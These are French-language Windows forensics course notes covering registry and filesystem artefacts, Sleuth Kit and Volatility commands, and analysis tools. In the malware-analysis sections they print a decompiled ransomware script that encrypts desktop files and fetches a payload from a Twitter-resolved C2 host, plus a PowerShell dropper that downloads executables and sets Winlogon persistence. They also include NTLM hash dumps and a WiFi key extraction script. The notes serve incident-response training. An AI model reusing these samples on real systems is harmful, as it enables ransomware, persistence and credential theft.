Inforensique windows
Liens
ESD Academy
MITRE ATT&CK
Event log to monitor
pentesteracademy
Smash
site pour le transfert
insecam.org
pastebin
cyberforensicator.com
mutex well know
Andrea fortuna
Trace
Artefacts Internet
Artefacts d’exécution
SRUM
● Performances● Applications démarrées (Comptes associés)● Trafic réseau (Nombre de bytes envoyés et reçus par l’application)Fait son apparition à partir de Windows 8.1 Enregistre 30 à 60 d’historique d’activité de la machine. ● SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Exte nsions{d10ca2fe-6fcf4f6d-848e-b2e99266fa89}● C:\Windows\System32\SRU\
Shimcache
● Nom de fichier exécutable● Chemin d’exécution● Taille de fichier● Timestamp dernière modification● LastUpdateTime est mis à jour quand un programme est exécutéWindows Application Compatibility Database est utilisée par Windows pour vérifier si une application doit démarrer en mode de compatibilité. Chaque exécutable qui a été démarré doit se trouver dans cette clé. Le but est de déterminer quel programme a été lancé et quand.Windows XP contient 96 entrées max. Windows 7+ contient 1024 entrées max. LastUpdateTime n’existe plus à partir de Windows 7+.C:\Windows\System32\config● SYSTEM\CurrentControlSet\Control\SessionManager\AppCom patibility● SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
Volume Shadow Copies
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSSHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestorevssadmin /list shadows (“/delete all” => anti-forensic)vss_carver (github) : Format de disque .rawforensic explorer (payant)
RunMRU
RecentApps
● AppID : Nom de l’application● LastAccessTime : Dernière exécution (UTC+0)● LaunchCount : Nombre de fois que le programme a été lancéL’exécution de programmes sur Windows 10 sont enregistrées en base de registre. ● NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search\RecentApps Chaque clé GUID pointe sur une application récente.
UserAssist
NTUSER.DATDate et heure d’exécutionChemin d’exécutionNombre de fois ou le programme a été lancéTous les programmes basés sur un GUI, exécutés sont historisés dans :● NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Ex plorer\UserAssist\GUID}\CountLes données récupérées incluent la précieuse information : L’utilisateur a exécuté le programme depuis un raccourci ou depuis le fichier original. Cela apporte à l’investigation des précisions sur le contexte de lancement d’un programme.Les valeurs encodées en ROT-13.
prefetch
C:\Windows\Prefetchfichier caché
System Resource Usage Monitor (SRUM)
MUICache
NTUSER.DAT
Amcache / RecentFileCache.bcf
Amcache.hve● Une entrée pour chaque exécutable● Chemin d’exécution et volume associé● $StandardInfo● Démarré pour la première fois : Last Modification● SHA1 de l’exécutableProgramDataUpdater (une tâche associée au service ‘Application Experience’) utilise la ruche Amcache.hve pour stocker de la donnée lors de la création de process.● C:\Windows\AppCompat\Programs\Amcache.hve
Background Activity Monitor (BAM)
Timeline Windows 10
● Applications démarrées● Date d’exécution● Focus par applicationWindows 10 enregistre toutes les applications qui ont été utilisées récemment et propose à l’utilisateur une timeline accessible avec les touches suivantes > WIN+TAB. Ces données sont enregistrées au format SQLite.C:\Users\<username>\AppData\Local\ConnectedDevicesPlatfor m\<random>\ActivitiesCache.db
JumpLists
AppCompatFlags Registry Keys
CCM_RecentlyUsedApps
$MFT
c:\$MFTattrib -s -h $MFT
ADS stream
affichage dir /rmore < normal.txt:$DATA
Last visited MRU
● Traque les programmes utilisés pour ouvrir des fichiers via OpenSaveMRU● Extension des fichiers ouverts● Noms de fichiers ouverts● Application utilisée pour ouvrir un fichier● Chemin de l’application● Chronologie possibleTraque les exécutables utilisés par une application pour ouvrir un document (présent dans OpenSaveMRU). De plus, chaque valeur associe le répertoire ou le fichier a été ouvert par cette application.● NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Ex plorer\ComDlg32\ LastVisitedMRU ● NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Ex plorer\ComDlg32\ LastVisitedPidlMRU
Artefacts fichiers / dossiers
IE/EDGE (file://)
● Date et heure d’ouverture● Chemin du fichier● index.dat > file:///C:/chemin/nomdufichier.extUn des comportements méconnus de l’historique IE est qu’iln’enregistre pas que les sites internet consultés mais bel et bien desaccès à des fichiers du disque (ou partages réseau). Il va de soi que cethistorique apporte énormément d’information en terme detemporalité.● %USERPROFILE%\Local Settings\History\ History.IE5● %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5● %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat%
aShell Bags
●Accès à des répertoires (Locaux ou sur le réseau)●Accès à des périphériques●Date et heure d’accès●Même si le périphérique est débranché ou le répertoire suppriméLes shell bags permettent de déterminer les accès à des répertoiressurla machine locale, le réseau ou des périphériques externes. Il estpossible de retrouver des répertoires supprimés ou modifiés et ladernière date à laquelle l’utilisateur y a eu accès.C:\Users\*\AppData\Local\Microsoft\Windows\USRCLASS.DATC:\Users\*\NTUSER.DATExplorer :●USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags●USRCLASS.DAT\LocalSettings\Software\Microsoft\Windows\Shell\BagMRUDesktop :●NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU●NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags
Fichiers Récents
●Possibilité de retrouver les 150 derniers fichiers récents.●La date de modification du registre correspond à la date d’ouverture/d’accès et permet d’établir une chronologie.●La sous-clé folder permet de retrouver les répertoires ouverts par l’utilisateur.Cette clé de registre va suivre les derniers fichiers et répertoiresouverts. Ces fichiers sont accessibles depuis “mes fichiers récents”dans la barre de navigation latérale.C:\Users\*\NTUSER.DAT●NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
offset de demarrage
mmls /dev/sdb
$I30
Dans chaque répertoire avec au moins un fichier, il a un fichier $I30
Artefacts fichiers supprimés
Recherches (WordWheelQuery)
●Mots-clés recherché par l’utilisateur dans le champ recherché●Mots-clés recherché par l’utilisateur dans le menu démarrer●Date et heure de la rechercheIl s’agit des mots clés saisis par l’utilisateur dans la bar de recherche oule menu démarrer depuis Windows 7. Les mots clés sont au formatunicode et listé de manière chronologique dans la sous-clé MRUList.C:\Users\*\NTUSER.DAT●NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
Thumb.db
●Miniature d’une image● Miniature du fichier (même si supprimé)● Dernière modification (XP)● Nom de fichier d’origine (XP)Il s’agit d’un fichier caché dans un répertoire. Les miniatures desimages et icônes de fichiers sont enregistré dans le fichier thumbs.db.Ce fichier est créé automatiquement lorsque le partage réseauxhomegroup est activé ou lorsqu’un répertoire est accédé via un cheminUNC.
Thumbcache.db
● Miniatures des documents présents dans un répertoires● Chemin du répertoire● Même si le répertoire est supprimé● Même si le fichier est supprimé● Même si le périphérique est déconnectéLes miniatures d’images, de document et répertoires persistent dansune base de données appelée thumbcache.db. Chaque utilisateur a sapropre base. Les miniatures enregistrées sont récupérables enplusieurs formats : small, medium, large, extra-large. Elles sontenregistrée dans l’une de ces catégories en fonction du typed’affichage de l’utilisateur.● C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer
Corbeille
● Un fichier est séparé en deux fichiers distincts● Date et heure de suppression● Nom original du fichier supprimé● Chemin du fichier supprimé● Fichier de sauvegardeLa corbeille contient tout d’abord un répertoire racine contenant dessous-répertoires au noms des SID présents sur la machine.Chaque SID peut être mis en relation avec un utilisateur via le registreou la commandeGet-WmiObject win32_useraccount | Select name,sidLes fichiers commençant par $I files contiennent le chemin d’origine dufichier et la date et heure de suppressionLes fichiers commençant par $R sont les fichiers de sauvegarde desfichiers supprimés● C:\$Recycle.bin
Artefacts USB
command linux
mount
mount -o loop, ro
disque monter
udisksctl status
fls
fls /dev/sdb -o 2048 fls /dev/sdb -o 2048 17997
istats
istat /dev/sdb -o 2048 16492
icat
icat /dev/sdb -o 2048 16492 >~/ntuser.exe
decompilation code python
Valable que pour décompiler les programme python compilé en exe inférieur version 3.4pip install uncompyle6 il faut modifier le nombre magique d'un fichier compiler avec pythonpour être décompiler avec uncompyle6Pour cela on regarde le nombre magique d'un fichier pyc puis on le rajoute au debut du ntuserlsxxd abc.pyc |less xxd ntuser |less on voit dans un pyc : 00000000: 03f3 0d0a 0000 0000 6300 0000 0000 0000 ........calors que dans le ntuser à decompiler : 00000000: 6300 0000 0000 0000 0003 0000 0040 0000 cprintf "\x03\xf3\\x0d\x0a\x00\x00\x00\x00" | cat - ntuser > ntuser.pyc on décompileuncompyle6 ntuser.pyc # uncompyle6 version 3.6.0 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.14+ (default, Mar 13 2018, 15:23:44) # [GCC 7.3.0] # Embedded file name: ntuser.py from cryptography.fernet import Fernet from requests import get from os import listdir, getcwd, remove from os.path import isdir import os, getpass from bs4 import BeautifulSoup mode = False def recurse(path): global fn global mode for i in listdir(path): if isdir(path + '\\' + i): recurse(path + '\\' + i) else: if mode == False and i.split('.')[(-1)] == 'cry': fn = Fernet(str(raw_input('Password ? ')).encode('utf8')) mode = True if not mode and i.split('.')[(-1)] != 'cry': encrypt(path + '\\' + i) else: decrypt(path + '\\' + i) def encrypt(path): f = open(path, 'rb') f2 = open(path + '.cry', 'w+') f2.write(fn.encrypt(f.read())) f.close() f2.close() remove(path) def set_vbs(vb): path = 'C:\\users\\' + getpass.getuser() + '\\appdata\\local\\config' if isdir(path): f = open(path + '\\aaa.vbs', 'w+') f.write(vb.decode('base64')) f.close() else: os.mkdir(path) set_vbs(vb) def get_host(): r = get('https://twitter.com/S1mpleCC') soup = BeautifulSoup(r.text, 'lxml') tag = soup.find('p', 'tweet-text') return tag.text host = get_host() r = get('http://' + host + '/3f792f24bdd299f1c163f2358fb130f9.php').text.encode('utf8') set_vbs(r.split('x07C82')[0]) fn = Fernet(r.split('x07C82')[1]) recurse('C:\\users\\' + getpass.getuser() + '\\desktop') # okay decompiling ntuser.pyc
aTSK
liste les disques montésudisksctl status On regarde l'offset de démarrage :mmls /dev/sdb Utilisation de fls pour naviguer dans la $MFT jusqu'au répertoire ou il y a le binaire compilé de python ntuser.exefls /dev/sdb -o 2048 fls /dev/sdb -o 2048 17997 Utilisation de icat pour récupéré les données du FILE0 de la $MFT du fichier ntuser.exe :istat /dev/sdb -o 2048 16492 Utilisation de icat pour extraire le fichier :icat /dev/sdb -o 2048 16492 >~/ntuser.exe
volatility
vol.exe -f mem01.bin imageinfo set vol=vol.exe -f mem01.bin --profile=WinXPSP2x86 %vol% pslist %vol% pstree %vol% psscan %vol% psxview %vol% envars | findstr COMPUTERNAME %vol% hivelist %vol% printkey -o 0x8b21c008 -K "ControlSet001\Control\ComputerName\ComputerName" %vol% hashdump Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: John Doe:1000:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930:::
outils
FTK Imager
ouvrir OVA avec zipextraire le vmdkconvertir le vmdk en image .ddVBoxManage.exe clonehd "D:\data stage\infected-disk001.vmdk" "D:\data stage\disque.dd" --format raw
Arsenal Image Mounter
Active@ Disk Editor
TSK
Autopsy
BrowsingHistoryView
010EditorWin64Installer100.exe
RegRipper.exe
pestudio
Natif Iexpress
comme SFX
$I parse
Pour recuperer les fichiers dans la corbeille
INDXParse.py
python INDXParse -d I30 > deleted.csv
USB ID
USBDeview
USB Detective
extract exe
pour decompiler un exe pythonpython pyinstxtractor.py ntuser.exe cd ntuser.exe_extracted/
dumpit
hash NTLM crack
hashkiller
crackstation
Zimmerman Tools
Registry Explorer
Timeline Explorer
Redline
HxD Editeur hexa windows
malware
dropper-twitter.ps1
$wc = New-Object System.Net.WebClient $h = $wc.DownloadString('https://twitter.com/S1mpleCC') $x = ($h.Replace("`t","").Replace("`n","").Replace(" ","").Split("<") | ? {$_ -match "class=`"TweetTextSize"} | Select-Object -First 1).Split(">")[1] (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/6a992d5529f459a44fee58c733255e86.bat', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\index.bat') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/76868ae832f6c6bd26cadc7d7c269986.lnk', 'C:\Users\esdacademy\Desktop\Google Chrome.lnk') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/eb6fb390f0c734d59e469525bd84ee18.exe', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\Default\GoogleUpdaterService.exe') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/cecea6856f21bf30c693534f7f8484dd.exe', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\Default\GoogleSecurityCheck.exe') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/e91e6348157868de9dd8b25c81aebfb9.xml', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\security.xml') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/0ba4439ee9a46d9d9f14c60f88f45f87.ps1', 'C:\Users\esdacademy\AppData\Local\Google\Software Reporter Tool\reports\check.ps1') Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" 'explorer.exe, C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file "C:\Users\esdacademy\AppData\Local\Google\Software Reporter Tool\reports\check.ps1"' -Force
aADS_forensic.ps1
cls$BasePath = "D:\case001"Get-ChildItem -Path $BasePath -Recurse | % { $StreamData = $null $StreamData = Get-Item -Stream * -Path $_.FullName | ? {$_.Stream -match "Zone.Identifier"} | Get-Content -Stream "Zone.Identifier" | ? {$_ -match "(ZoneId=|ReferrerUrl=|HostUrl=)"} if ($StreamData -match "ZoneId=3") { Write-Host "`nFound : $($_.FullName)" -ForegroundColor Yellow $StreamData | % {Write-Host $_} }}
code wifi
netsh wlan show profiles netsh wlan show profiles SID key=clear
Wifi_forensic.ps1
#Set-ExecutionPolicy Bypass$wifi=@()#visualisation des réseaux bloqués$cmd0= netsh wlan show blockednetworks#liste des SSID$cmd1=netsh wlan show profilesForEach($row1 in $cmd1){ #recup ssid regex if($row1 -match 'Profil Tous les utilisateurs[^:]+:.(.+)$') { $ssid=$Matches[1] $cmd2=netsh wlan show profiles $ssid key=clear Foreach($row2 in $cmd2) { #recup clef wifi if($row2 -match 'Contenu de la c[^:]+:.(.+)$') { $key=$Matches[1] #stockage des ssid et clef dans tab $wifi+=[PSCustomObject]@{ssid=$ssid;key=$key} } } }}#export dans csv$wifi | export-CSV -Path 'C:\Users\Root\Desktop\wifi.csv' -NoTypeInformation#visu tableau$wifi| Sort -Property ssid|Out-GridView -Title 'Clés des SSID du poste'
wmic
wmic useraccount get name,sid
Wifi_forensic.ps1
#Set-ExecutionPolicy Bypass$wifi=@()#visualisation des réseaux bloqués$cmd0= netsh wlan show blockednetworks#liste des SSID$cmd1=netsh wlan show profilesForEach($row1 in $cmd1){ #recup ssid regex if($row1 -match 'Profil Tous les utilisateurs[^:]+:.(.+)$') { $ssid=$Matches[1] $cmd2=netsh wlan show profiles $ssid key=clear Foreach($row2 in $cmd2) { #recup clef wifi if($row2 -match 'Contenu de la c[^:]+:.(.+)$') { $key=$Matches[1] #stockage des ssid et clef dans tab $wifi+=[PSCustomObject]@{ssid=$ssid;key=$key} } } }}#export dans csv$wifi | export-CSV -Path 'C:\Users\Root\Desktop\wifi.csv' -NoTypeInformation#visu tableau$wifi| Sort -Property ssid|Out-GridView -Title 'Clés des SSID du poste'
Kape
Module
Target
Browsers
Windows
P2P
Targets
Logs
Antivirus
MISC
Apps